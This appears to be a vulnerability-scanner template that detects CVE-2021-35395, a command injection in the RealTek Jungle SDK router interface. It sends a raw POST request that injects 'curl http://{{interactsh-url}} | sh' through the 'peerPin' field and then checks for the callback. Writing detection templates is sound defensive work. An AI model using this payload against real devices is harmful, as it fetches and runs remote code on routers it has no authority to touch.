id: CVE-2021-35395
info:
  name: RealTek Jungle SDK - Arbitrary Command Injection
  author: king-alexander
  severity: critical
  description: There is a command injection vulnerability on the "formWsc" page of the management interface.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35395
    - https://blogs.juniper.net/en-us/threat-research/attacks-continue-against-realtek-vulnerabilities
  tags: cve,kev

http:
  - raw:
      - |
        POST /goform/formWsc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        # The 'peerPin' parameter is unsanitized. So we can inject arbitrary commands after the statement that uses the 'peerPin' value.
        submit-url=%2Fwlwps.asp&resetUnCfg=0&peerPin=12345678;curl http://{{interactsh-url}} | sh;&setPIN=Start+PIN&configVxd=off&resetRptUnCfg=0&peerRptPin=

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"